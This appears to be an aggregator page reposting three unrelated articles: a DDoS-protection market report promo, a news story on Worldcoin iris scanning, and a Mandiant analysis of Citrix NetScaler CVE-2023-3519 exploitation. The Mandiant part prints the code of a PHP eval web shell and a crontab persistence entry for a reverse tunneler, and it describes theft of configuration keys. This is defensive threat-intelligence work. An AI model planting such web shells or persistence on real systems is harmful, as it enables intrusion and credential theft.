Cloud Hosting

New Jersey, United States The Global DDoS ProtectionMarket is comprehensively and accurately detailed in the report, taking into consideration various factors such as competition, regional growth, segmentation, and market size by value and volume. This is an excellent research study specially compiled to provide the latest insights into critical aspects of the Global DDoS Protection market. The report includes different market forecasts related to market size, production, revenue, consumption, CAGR, gross margin, price, and other key factors. It is prepared with the use of industry-best primary and secondary research methodologies and tools. It includes several research studies such as manufacturing cost analysis, absolute dollar opportunity, pricing analysis, company profiling, production and consumption analysis, and market dynamics.

The competitive landscape is a critical aspect every key player needs to be familiar with. The report throws light on the competitive scenario of the Global DDoS Protection market to know the competition at both the domestic and global levels. Market experts have also offered the outline of every leading player of the Global DDoS Protection market, considering the key aspects such as areas of operation, production, and product portfolio. Additionally, companies in the report are studied based on key factors such as company size, market share, market growth, revenue, production volume, and profits.

Get Full PDF Sample Copy of Report: (Including Full TOC, List of Tables & Figures, Chart) @https://www.verifiedmarketresearch.com/download-sample/?rid=2762

Leading 10 Companies in the Global DDoS Protection Market Research Report:

Nexusguard Ltd, Dosarrest Internet Security Ltd, Imperva, Arbor Networks Corero Network Security Radware Ltd., Neustar Akamai Technologies Cloudflare F5 Networks, Inc.

Global DDoS ProtectionMarket Segmentation:

DDOS PROTECTION MARKET, BY ORGANIZATION SIZE

Large Companies Small and Medium Businesses

DDOS PROTECTION MARKET, BY APPLICATION AREA

Endpoint Application Network Database

DDOS PROTECTION MARKET, BY DEPLOYMENT MODEL

Cloud-based On-premise Hybrid

DDOS PROTECTION MARKET, BY COMPONENT

Solution

Service

Managed Service

Professional Service

Training and education

DDOS PROTECTION MARKET, BY VERTICAL

Government and Defense

IT and Telecommunications

Banking, Financial Services, and Insurance (BFSI)

Retail

Healthcare

Energy and Utilities

Others

The report comes out as an accurate and highly detailed resource for gaining significant insights into the growth of different product and application segments of the Global DDoS Protection market. Each segment covered in the report is exhaustively researched about on the basis of market share, growth potential, drivers, and other crucial factors. The segmental analysis provided in the report will help market players to know when and where to invest in the Global DDoS Protection market. Moreover, it will help them to identify key growth pockets of the Global DDoS Protection market.

The geographical analysis of the Global DDoS Protection market provided in the report is just the right tool that competitors can use to discover untapped sales and business expansion opportunities in different regions and countries. Each regional and country-wise Global DDoS Protection market considered for research and analysis has been thoroughly studied based on market share, future growth potential, CAGR, market size, and other important parameters. Every regional market has a different trend or not all regional markets are impacted by the same trend. Taking this into consideration, the analysts authoring the report have provided an exhaustive analysis of specific trends of each regional Global DDoS Protection market.

Inquire for a Discount on this Premium Report@ https://www.verifiedmarketresearch.com/ask-for-discount/?rid=2762

What to Expect in Our Report?

(1) A complete section of the Global DDoS Protection market report is dedicated for market dynamics, which include influence factors, market drivers, challenges, opportunities, and trends.

(2) Another broad section of the research study is reserved for regional analysis of the Global DDoS Protection market where important regions and countries are assessed for their growth potential, consumption, market share, and other vital factors indicating their market growth.

(3) Players can use the competitive analysis provided in the report to build new strategies or fine-tune their existing ones to rise above market challenges and increase their share of the Global DDoS Protection market.

(4) The report also discusses competitive situation and trends and sheds light on company expansions and merger and acquisition taking place in the Global DDoS Protection market. Moreover, it brings to light the market concentration rate and market shares of top three and five players.

(5) Readers are provided with findings and conclusion of the research study provided in the Global DDoS Protection Market report.

Key Questions Answered in the Report:

(1) What are the growth opportunities for the new entrants in the Global DDoS Protection industry?

(2) Who are the leading players functioning in the Global DDoS Protection marketplace?

(3) What are the key strategies participants are likely to adopt to increase their share in the Global DDoS Protection industry?

(4) What is the competitive situation in the Global DDoS Protection market?

(5) What are the emerging trends that may influence the Global DDoS Protection market growth?

(6) Which product type segment will exhibit high CAGR in future?

(7) Which application segment will grab a handsome share in the Global DDoS Protection industry?

(8) Which region is lucrative for the manufacturers?

For More Information or Query or Customization Before Buying, Visit @ https://www.verifiedmarketresearch.com/product/global-ddos-protection-market-size-and-forecast-to-2025/

About Us: Verified Market Research

Verified Market Research is a leading Global Research and Consulting firm that has been providing advanced analytical research solutions, custom consulting and in-depth data analysis for 10+ years to individuals and companies alike that are looking for accurate, reliable and up to date research data and technical consulting. We offer insights into strategic and growth analyses, Data necessary to achieve corporate goals and help make critical revenue decisions.

Our research studies help our clients make superior data-driven decisions, understand market forecast, capitalize on future opportunities and optimize efficiency by working as their partner to deliver accurate and valuable information. The industries we cover span over a large spectrum including Technology, Chemicals, Manufacturing, Energy, Food and Beverages, Automotive, Robotics, Packaging, Construction, Mining & Gas. Etc.

We, at Verified Market Research, assist in understanding holistic market indicating factors and most current and future market trends. Our analysts, with their high expertise in data gathering and governance, utilize industry techniques to collate and examine data at all stages. They are trained to combine modern data collection techniques, superior research methodology, subject expertise and years of collective experience to produce informative and accurate research.

Having serviced over 5000+ clients, we have provided reliable market research services to more than 100 Global Fortune 500 companies such as Amazon, Dell, IBM, Shell, Exxon Mobil, General Electric, Siemens, Microsoft, Sony and Hitachi. We have co-consulted with some of the worlds leading consulting firms like McKinsey & Company, Boston Consulting Group, Bain and Company for custom research and consulting projects for businesses worldwide.

Contact us:

Mr. Edwyne Fernandes

Verified Market Research

US: +1 (650)-781-4080UK: +44 (753)-715-0008APAC: +61 (488)-85-9400US Toll-Free: +1 (800)-782-1768

Email: sales@verifiedmarketresearch.com

Website:- https://www.verifiedmarketresearch.com/

Originally posted here:
Global DDoS Protection Market Size and Forecast | Nexusguard Ltd ... - Glasgow West End Today

Read More..

The boss of the AI tool ChatGPT has unveiled plans to scan the eyeballs of billions of people worldwide amid a growing privacy row.

Sam Altman of OpenAI which created the chatbot said the move would allow users to prove they are human and not a robot or online fraudster.

The firm has put football-sized 'Worldcoin' scanning devices in locations in Britain and 19 other countries.

Passers-by are encouraged to have their irises scanned to generate a unique digital record called a World ID.

It has sparked privacy and security concerns among the authorities about the sensitive data it gathers and who has access to it.

The Information Commissioner's Office, which upholds the UK's data privacy rights, warned it had begun examining the business.

Ahead of its launch on Monday, Worldcoin had already attracted two million sign-ups, with people queuing at three pop-up sites in London.

Those taking part receive 25 cryptocurrency tokens valued at 1.56 each.

The 'orbing' process, in which the user stares into the camera lens for ten seconds until a beep sounds signalling completion, has been deployed in 35 cities in 20 countries, with plans to roll out 1,500 across the globe.

However, its rollout in the US has been held up amid regulatory issues.

Mr Altman said the project will help humans keep up in an economy set to be reshaped by AI, describing it as a 'global financial and identity network based on proof of personhood'.

It could be used to verify those eligible for benefits and reduce fraud, he said. The OpenAI website suggests the technology could also be used as voter ID in elections.

OpenAI said more than two million people have been added to its database in 33 different countries since the scanners first began testing two years ago.

See more here:
Chat GPT boss unveils plans to scan people's EYEBALLS to help prove they are human on the internet in bid to c - Daily Mail

Read More..

Note: This is a developing campaign under active analysis. We will continue to add more indicators, hunting tips, and information to this blog post as needed.

Security and networking devices are "edge devices," meaning they are connected to the internet. If an attacker is successful in exploiting a vulnerability on these appliances, they can gain initial access without human interaction, which reduces the chances of detection. As long as the exploit remains undiscovered, the threat actor can reuse it to gain access to additional victims or reestablish access to targeted systems. Additionally, both edge devices and virtualization software are difficult to monitor and may not support endpoint detection and response (EDR) solutions or methods to detect modifications or collect forensic images, which further reduces the likelihood of detection and complicates attribution. Notably since at least 2021, cyber espionage threat actors have focused on edge devices, particularly security, networking, and virtualization technologies to gain persistent access to victim networks, while evading detection.

On July 18, Citrix released security bulletin CTX561482, which described vulnerabilities in Citrix Netscaler Application Delivery Controller (ADC) and Citrix Netscaler Gateway. One of the vulnerabilities, CVE-2023-3519, could allow an unauthenticated remote attacker to perform arbitrary code execution. This vulnerability was assigned a CVSS of 9.8. Citrix has stated that they have observed exploitation of this vulnerability in the wild. Mandiant is actively involved in investigations involving recently compromised ADC appliances that were fully patched prior to the July 18 patches to address CVE-2023-3519. Predominately used in the information technology industry, ADCs are a vital component of enterprise and cloud data centers in ensuring the continuous improvement and the availability, security, and performance of applications. ADCs provide functions that optimize the delivery of enterprise applications across the network.

Mandiant strongly recommends that organizations follow Citrixs advice to patch vulnerable appliances as soon as possible.Mandiant classifies CVE-2023-3519 as a high-risk vulnerability because it allows for remote code execution without any known offsets. While this vulnerability has been exploited in the wild, the exploit code is not yet publicly available. Mandiant recommends that organizations prioritize patching this vulnerability.

During analysis of the compromised appliance, Mandiant identified a simple PHP eval web shell located in /var/vpn/themes. The web shell had the earliest file system modified time of all the identified malware and was relatively compact (113 bytes). As a result, Mandiant assessed with moderate confidence that the web shell was placed on the system as part of the initial exploitation vector.

The threat actor used the web shell to modify the NetScaler configuration. In particular, they attempted to deactivate the NetScaler High Availability File Sync (nsfsyncd). Additionally, the threat actor attempted to remove processes from the Citrix Monitor configured within the file /etc/monitrcbefore finally killing the Monitor process. Shortly thereafter, various NetScaler logs recorded a critical failure, which resulted in the creation of the NetScaler Packet Processing Engine (NPPE) core dump three minutes after the exploitation attempt and the appliance restart. Mandiant analyzed this dump file and identified strings related to HTTP requests that occurred at the same time as the creation of the first web shell.

Based on code similarities, specifically the structure of the commands, Mandiant has high confidence these samples are related to exploitation of CVE-2023-3519. At the time of writing, there is no public proof of concept code for this vulnerability. To avoid potentially leaking details of how to exploit the vulnerability to other threat actors, Mandiant will not detail how the vulnerability was exploited. Some examples that follow may support triage when dealing with this activity. For example, within one POST request the threat actor took a number of actions:

The sequence of commands as extracted from the request is as follows (note in log files and crash dumps some characters may be URL encoded).

Mandiant identified additional web shells and malicious ELF files that the threat actor uploaded to the vulnerable appliance after initial exploitation. All of the web shells were observed in the /var/vpn/themes directory; however, there is no reason the threat actor could not create web shells in other public-facing directories. Mandiant observed two types of web shells:

Details on these web shells are included in the following section.

Moreover, the threat actor also installed a persistent tunneler on the appliance with a filename of the. The tunneler provided encrypted reverse TCP/TLS connections to a hard-coded command and control address. The tunneler was derived from the open-source ligolo-ng Github project. Mandiant believes the hard-coded address is victim specific. The attacker created a crontab entry for the `nobody` user to ensure the tunneler ran persistently.

30 02 * * * nohup /var/tmp/the &

The threat actor copied an additional tunneler, version 0.26.10 of the open-source NPS project, to the compromised appliance with filename npc. NPS is a fully-featured tunneler written in Go. It can be configured from the command line or with a configuration file. The tunneler also has the ability to instantiate a local file server, allowing the remote user to download files from the system.

Mandiant identified six unique web shells on an impacted Netscaler. These included:

The initial web shell identified on the impacted Netscaler was an eval web shell, info.php. The contents of info.php can be seen as follows:

The web shells prod.php, log.php, vpn.php, and logout.php, are part of the SECRETSAUCE family of web shells. These web shells are nearly identical, with the exception of the embedded RSA public key. SECRETSAUCE is a PHP web shell that receives commands via POST parameters and executes them on the device. The shell contains a hard-coded RSA public key that is used to decrypt the provided POST parameters before passing them to PHPs built-in evalfunction.

The code comprising the primary functionality of prod.php is included as follows:

class rsa{ public $key; public $a; public $cmd;

public function keys() { $this->key = <<

return $this->key; }

public function run($a = NULL) { return @eval($a); }

public function get($qs) { $this->cmd = $_POST[1]; $cmds = explode("|", $this->cmd); $pk = openssl_pkey_get_public(rsa::keys()); $this->cmd = ''; foreach ($cmds as $value) { if ($qs(rsa::decode($value), $de, $pk)) { $this->cmd .= $de;

} } return $this->cmd; }

public function decode($e = NULL) { return base64_decode($e); }}

$z = new rsa();$z->run($z->get('openssl_public_decrypt'));

The final web shell, config.php, was identified as a sample of REGEORG.NEO. REGEORG.NEO is a publicly available web shell and web shell generation tool intended as an improvement to the REGEORG project. REGEORG is a python utility and collection of web shells that when used together establish a SOCKS proxy on the system where the web shell was placed. Threat actors use REGEORG to tunnel activities from their systems into compromised networks.

Given the scope and sophistication of this threat actor, Mandiant recommends that organizations rebuild any appliances that have been exploited. The ADC upgrade process overwrites some, but not all, of the directories where threat actors may create web shells, potentially leaving the appliance in a compromised state.

Organizations should evaluate whether their ADC or Gateway appliance management ports require unrestricted Internet access. Limiting the Internet access to only necessary IP addresses (such as Citrix related addresses) would make post-exploitation activities of this and any future vulnerabilities more difficult.

Additionally, Mandiant has observed the threat actor copying the ADC ns.conf file as well as keys stored on the file system that are used to encrypt secrets within the configuration file. Public tooling exists to decrypt the ns.confsecrets although Mandiant has not validated it works for the most recent appliance versions. Given these TTPs, Mandiant recommends that impacted organizations rotate all secrets stored in the configuration file as well as any private keys and certificates that may be used for TLS connections.

Mandiant recommends hardening susceptible accounts in the domain to reduce the likelihood of credential exposure via Kerberoasting and to limit a potential threat actor's ability to obtain credentials for lateral movement throughout the environment.

Mandiant recommends organizations use available logs and Endpoint Detection & Response (EDR) telemetry to hunt for authentication attempts sourced from Netscaler management addresses (NSIPs) to all endpoints in the environment. Mandiant observed authentication attempts by the threat actor sourced from NSIPs of impacted Netscalers both via Remote Desktop Protocol (RDP) logons and network logons to endpoints within the victim's environment. Additional information recorded in these events may capture both hostnames and IP addresses belonging to attacker infrastructure to further pivot and hunt for in the environment. It is unexpected and suspicious to observe traffic to the internal network and miscellaneous (non-Citrix) Internet IP addresses from the NSIP of an appliance. Rotate credentials for any impacted/targeted accounts identified in these attempts.

Review relevant firewall logs for any network based indicators identified. Additionally, Mandiant observed the stringpwd;pwd;pwd;pwd;pwd;used within the exploit POST requests which can aid hunting. Also, prior to upload of the initial web shell, Mandiant identified requests by a Headless Chrome User Agent (executed via CLI) included as follows:

Furthermore, Mandiant recommends review of HTTP error logs for potential crashes, which can be indicative of vulnerability exploitation.

Mandiant observed LDAP queries sourced from NSIPs of impacted Netscalers in an attempt to identify accounts vulnerable to Kerberoasting. A sample query can be seen as follows:

Mandiant recommends review of the following directories and subdirectories for the presence of web shells:

In order to identify malicious ELF binaries, Mandiant recommends review of the/tmp/directory. Similarly, review of files with timestamps after the Netscaler was last patched is especially important.

In review of NSPPE core (Netscaler Packet Processing Engine) dumps, Mandiant identified commands executed by the threat actor to redirect the contents ofns.conf,F1.key, andF2.keyto a renamed JavaScript file for exfiltration. Mandiant recommends reviewing relevant NSPPE core dumps in the/core/directory in order to identify similar activity. Rotation of the keys is recommended if similar activity is observed in NSPPE core dumps.

Finally, Mandiant recommends review of/var/crontabs/nobodyfor scheduled execution of suspicious binaries. Mandiant identified a crontab for the aforementioned ELF tunneler, the.

Mandiant cannot attribute this activity based on the evidence collected thus far, however, this type of activity is consistent with previous operations by China-nexus actors based on known capabilities and actions against Citrix ADCs in 2022. The evolution of the China-nexus cyber threat landscape has evolved to such an extent, that its ecosystem mirrors more closely that of financial crime clusters, with connections and code overlap not necessarily offering the comprehensive picture. Additionally, Mandiant has observed a preponderance of actors utilizing the combination of NPS proxy and REGEORG.NEO as having a China-nexus.

Media reports indicate APT5 exploited a zero day vulnerability in Citrix ADC and Gateway devices allowing pre-authenticated remote code execution on vulnerable devices. Following that exploitation, the National Security Agency (NSA) published a report detailing APT5 capabilities against Citrix ADCs. In the report, NSA states targeting Citrix ADCs can facilitate illegitimate access to targeted organizations by bypassing normal authentication controls. NSA, in collaboration with partners, developed threat hunting guidance to provide steps organizations can take to look for possible artifacts of this type of activity.

Mandiant tracks additional Chinese cyber espionage threat actors using botnets to obfuscate traffic between attackers and victim networks, including APT41, APT31, APT15, TEMP.Hex, and Volt Typhoon. Cyber espionage threat actors continue to target technologies that do not support endpoint detection and response (EDR) solutions such as firewalls, IoT devices, hypervisors and VPN technologies (e.g. Fortinet, SonicWall, Pulse Secure, and others). Mandiant has investigated dozens of intrusions at defense industrial base (DIB), government, technology, and telecommunications organizations over the years where suspected China-nexus groups have exploited zero-day vulnerabilities and deployed custom malware to steal user credentials and maintain long-term access to the victim environments.

See the original post:
Exploitation of Citrix Zero-Day by Possible Espionage Actors (CVE ... - Mandiant

Read More..